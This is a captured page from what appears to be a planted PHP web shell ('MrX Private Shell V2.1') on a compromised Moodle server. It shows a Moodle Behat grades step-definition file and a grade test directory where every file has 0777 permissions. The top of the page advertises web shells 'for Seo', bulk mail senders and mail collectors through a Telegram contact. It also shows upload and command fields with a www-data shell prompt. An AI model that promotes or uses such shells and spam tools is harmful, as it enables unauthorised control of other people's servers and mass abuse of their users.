__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

// NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php.

require_once(__DIR__ . '/../../../lib/behat/behat_base.php');

/**
 * Behat grade related steps definitions.
 *
 * @package    core_grades
 * @copyright  2022 Mathew May <mathew.solutions>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class behat_grades extends behat_base {

    /**
     * Return the list of partial named selectors.
     *
     * @return array
     */
    public static function get_partial_named_selectors(): array {
        return [
            new behat_component_named_selector(
                'initials bar',
                [".//*[contains(concat(' ', @class, ' '), ' initialbar ')]//span[contains(., %locator%)]/parent::div"]
            ),
            new behat_component_named_selector(
                'grade_actions',
                ["//td[count(//table[@id='user-grades']//th[contains(., %locator%)]/preceding-sibling::th)]//*[@data-type='grade']"]
            ),
            new behat_component_named_selector(
                'gradeitem modal',
                [".//*[contains(concat(' ', @class, ' '), ' modal ')]"]
            ),
        ];
    }

    /**
     * Convert page names to URLs for steps like 'When I am on the "[identifier]" "[page type]" page'.
     *
     * Recognised page names are:
     * | pagetype              | name meaning | description                                       |
     * | [report] view         | Course name  | The view page for the specified course and report |
     * | gradebook setup       | Course name  | The gradebook setup page for the specified course |
     * | course grade settings | Course name  | The grade settings page                           |
     * | outcomes              | Course name  | The grade outcomes page                           |
     * | scales                | Course name  | The grade scales page                             |
     *
     * @param string $type identifies which type of page this is - for example "Grader > View"
     * @param string $identifier identifies the particular page - for example "Course name"
     * @return moodle_url the corresponding URL.
     */
    protected function resolve_page_instance_url(string $type, string $identifier): moodle_url {
        $type = strtolower($type);
        if (strpos($type, '>') !== false) {
            [$pluginname, $type] = explode('>', $type);
            $pluginname = strtolower(trim($pluginname));

            // Fetch the list of plugins.
            $plugins = \core_component::get_plugin_list('gradereport');

            if (array_key_exists($pluginname, $plugins)) {
                $plugin = $pluginname;
            } else {
                $plugins = array_combine(
                    array_keys($plugins),
                    array_keys($plugins),
                );

                // This plugin is not in the list of plugins. Check the pluginname string.
                $names = array_map(fn($name) => strtolower(get_string('pluginname', "gradereport_{$name}")), $plugins);
                $result = array_search($pluginname, $names);
                if ($result === false) {
                    throw new \coding_exception("Unknown plugin '{$pluginname}'");
                }
                $plugin = $result;
            }
        }
        $type = trim($type);

        switch ($type) {
            case 'view':
                return new moodle_url(
                    "/grade/report/{$plugin}/index.php",
                    ['id' => $this->get_course_id($identifier)]
                );
            case 'gradebook setup':
                return new moodle_url(
                    "/grade/edit/tree/index.php",
                    ['id' => $this->get_course_id($identifier)]
                );
            case 'course grade settings':
                return new moodle_url(
                    "/grade/edit/settings/index.php",
                    ['id' => $this->get_course_id($identifier)]
                );
            case 'outcomes':
                return new moodle_url(
                    "/grade/edit/outcome/course.php",
                    ['id' => $this->get_course_id($identifier)]
                );
            case 'scales':
                return new moodle_url(
                    "/grade/edit/scale/index.php",
                    ['id' => $this->get_course_id($identifier)]
                );
            default:
                throw new \coding_exception(
                    "Unknown page type '$type' for page identifier '$identifier'"
                );
        }
    }

    /**
     * Select a given element within a specific container instance.
     *
     * @Given /^I select "(?P<input_value>(?:[^"]|\\")*)" in the "(?P<instance>(?:[^"]|\\")*)" "(?P<instance_type>(?:[^"]|\\")*)"$/
     * @param string $value The Needle
     * @param string  $element The Haystack to select within
     * @param string $selectortype What type of haystack we are looking in
     */
    public function i_select_in_the($value, $element, $selectortype) {
        // Getting the container where the text should be found.
        $container = $this->get_selected_node($selectortype, $element);
        if ($this->getSession()->getPage()->find('xpath', './/input[@value="' . $value . '"]')) {
            $node = $this->find('xpath', './/input[@value="' . $value . '"]', false, $container);
            $node->click();
        } else {
            $node = $this->find('xpath', './/button[@data-action="' . strtolower($value) . '"]', false, $container);
            $node->press();
        }
    }

    /**
     * Gets the grade item id from its name.
     *
     * @throws Exception
     * @param string $itemname Item name
     * @return int
     */
    protected function get_grade_item_id(string $itemname): int {

        global $DB;

        if ($id = $DB->get_field('grade_items', 'id', ['itemname' => $itemname])) {
            return $id;
        }

        // The course total is a special case.
        if ($itemname === "Course total") {
            if (!$id = $DB->get_field('grade_items', 'id', ['itemtype' => 'course'])) {
                throw new Exception('The specified grade_item with name "' . $itemname . '" does not exist');
            }
            return $id;
        }

        // Find a category with the name.
        if ($catid = $DB->get_field('grade_categories', 'id', ['fullname' => $itemname])) {
            if ($id = $DB->get_field('grade_items', 'id', ['iteminstance' => $catid])) {
                return $id;
            }
        }

        throw new Exception('The specified grade_item with name "' . $itemname . '" does not exist');
    }

    /**
     * Gets course grade category id from coursename.
     *
     * @throws Exception
     * @param string $coursename
     * @return int
     */
    protected function get_course_grade_category_id(string $coursename): int {

        global $DB;

        $sql = "SELECT gc.id
                  FROM {grade_categories} gc
             LEFT JOIN {course} c
                    ON c.id = gc.courseid
                 WHERE c.fullname = ?
                   AND gc.depth = 1";

        if ($id = $DB->get_field_sql($sql, [$coursename])) {
            return $id;
        }

        throw new Exception('The specified course grade category with course name "' . $coursename . '" does not exist');
    }

    /**
     * Gets grade category id from its name.
     *
     * @throws Exception
     * @param string $categoryname
     * @return int
     */
    protected function get_grade_category_id(string $categoryname): int {

        global $DB;

        $sql = "SELECT gc.id
                  FROM {grade_categories} gc
             LEFT JOIN {course} c
                    ON c.id = gc.courseid
                 WHERE gc.fullname = ?";

        if ($id = $DB->get_field_sql($sql, [$categoryname])) {
            return $id;
        }

        throw new Exception('The specified grade category with name "' . $categoryname . '" does not exist');
    }

    /**
     * Clicks on given grade item menu.
     *
     * @Given /^I click on grade item menu "([^"]*)" of type "([^"]*)" on "([^"]*)" page$/
     * @param string $itemname Item name
     * @param string $itemtype Item type - grade item, category or course
     * @param string $page Page - setup or grader
     * @throws Exception
     */
    public function i_click_on_grade_item_menu(string $itemname, string $itemtype, string $page) {
        $this->execute("behat_navigation::i_close_block_drawer_if_open");
        if ($itemtype == 'gradeitem') {
            $itemid = $this->get_grade_item_id($itemname);
        } else if ($itemtype == 'category') {
            $itemid = $this->get_grade_category_id($itemname);
        } else if ($itemtype == 'course') {
            $itemid = $this->get_course_grade_category_id($itemname);
        } else {
            throw new Exception('Unknown item type: ' . $itemtype);
        }

        $xpath = "//table[@id='grade_edit_tree_table']";

        if (($page == 'grader') || ($page == 'setup')) {
            if ($page == 'grader') {
                $xpath = "//table[@id='user-grades']";
            }

            if ($itemtype == 'gradeitem') {
                $xpath .= "//*[@data-type='item'][@data-id='" . $itemid . "']";
            } else if (($itemtype == 'category') || ($itemtype == 'course')) {
                $xpath .= "//*[@data-type='category'][@data-id='" . $itemid . "']";
            } else {
                throw new Exception('Unknown item type: ' . $itemtype);
            }
        } else {
            throw new Exception('Unknown page: ' . $page);
        }
        $node = $this->get_selected_node("xpath_element", $this->escape($xpath));
        $this->execute_js_on_node($node, '{{ELEMENT}}.scrollIntoView({ block: "center", inline: "center" })');
        $this->execute("behat_general::i_click_on", [$this->escape($xpath), "xpath_element"]);
    }
}

Filemanager

Name Type Size Permission Actions
behat_grade.php File 14.18 KB 0777
behat_grade_deprecated.php File 8.29 KB 0777
behat_grades.php File 10.46 KB 0777
grade_UI_settings.feature File 1.98 KB 0777
grade_aggregation.feature File 34.84 KB 0777
grade_aggregation_changes.feature File 34.02 KB 0777
grade_average.feature File 7.5 KB 0777
grade_calculated_grade_items.feature File 10.93 KB 0777
grade_calculated_grade_items_20150627.feature File 11.37 KB 0777
grade_calculated_weights.feature File 15.96 KB 0777
grade_category_validation.feature File 7.16 KB 0777
grade_contribution_with_extra_credit.feature File 4.31 KB 0777
grade_custom_scales.feature File 2.27 KB 0777
grade_edit_tree_bulk_actions.feature File 14.8 KB 0777
grade_export_default_method.feature File 1.03 KB 0777
grade_feedback.feature File 3.43 KB 0777
grade_grade_minmax_change.feature File 3.82 KB 0777
grade_hidden_items.feature File 4.11 KB 0777
grade_hidden_items_locked_category.feature File 4.32 KB 0777
grade_import.feature File 4.54 KB 0777
grade_item_duplication.feature File 2.35 KB 0777
grade_item_form_unhide.feature File 5.49 KB 0777
grade_item_pass_data_to_advanced_page.feature File 7.34 KB 0777
grade_item_validation.feature File 6.45 KB 0777
grade_letter_boundary.feature File 1.97 KB 0777
grade_letter_boundary_20160518.feature File 2.08 KB 0777
grade_letter_logging.feature File 1.49 KB 0777
grade_mingrade.feature File 4.98 KB 0777
grade_minmax.feature File 11.57 KB 0777
grade_natural_exclude_empty.feature File 20.3 KB 0777
grade_natural_exclude_empty_20150619.feature File 21.21 KB 0777
grade_natural_normalisation.feature File 16.04 KB 0777
grade_natural_normalisation_20150619.feature File 7.66 KB 0777
grade_override_letter.feature File 12.04 KB 0777
grade_point_maximum.feature File 4.7 KB 0777
grade_recovery_settings.feature File 2.6 KB 0777
grade_regrade_do_not_override.feature File 3.4 KB 0777
grade_scales.feature File 10.65 KB 0777
grade_scales_aggregation.feature File 6.55 KB 0777
grade_scales_logging.feature File 959 B 0777
grade_single_item_scales.feature File 8.27 KB 0777
grade_to_pass.feature File 15.99 KB 0777
grade_view.feature File 5.11 KB 0777
siteadmin_grades_outcomes_breadcrumbs.feature File 1.33 KB 0777
siteadmin_grades_scale_breadcrumbs.feature File 1016 B 0777
toggle_grade_categories.feature File 12.98 KB 0777
Filemanager